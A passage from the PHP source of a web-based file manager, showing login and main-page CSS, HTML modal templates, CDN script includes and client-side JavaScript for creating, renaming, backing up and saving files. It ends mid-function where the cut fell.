        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){ 
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){ 
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo(rf_THEME=="dark")?'theme-dark':''; ?>">
<div id="wrapper" class="container-fluid">

    <?php }function rf_show_footer_login(){ ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php }function rf_show_header(){$sprites_ver='20160315';header("Content-Type: text/html; charset=utf-8");header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");header("Pragma: no-cache");global $lang,$root_url,$sticky_navbar,$favicon_path;$isStickyNavBar=$sticky_navbar?'navbar-fixed':'navbar-normal'; ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with File Manager">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo rf_enc($favicon_path) ?>" type="image/png">
    <title><?php echo rf_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if(rf_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo rf_HIGHLIGHTJS_STYLE  ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table { margin-bottom: 10px }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:16px }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px !important;  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) { 
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder { color:#eeae4a }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-code { color:#007bff }
        i.fa.fa-file-code-o { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
        .fa-trash-o{background:#c0392b !important;}
    </style>
    <?php if(rf_THEME=="dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo(rf_THEME=="dark")?'theme-dark':''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo rf_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo rf_enc(rf_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo rf_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search-plus"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2">Search file in folder and subfolders...</p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php }function rf_show_footer(){ ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if(rf_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
    <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://prothemes.biz/downloads/file-manager/config.json", window.config = null;
    function rf_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};
                
                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
                
            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
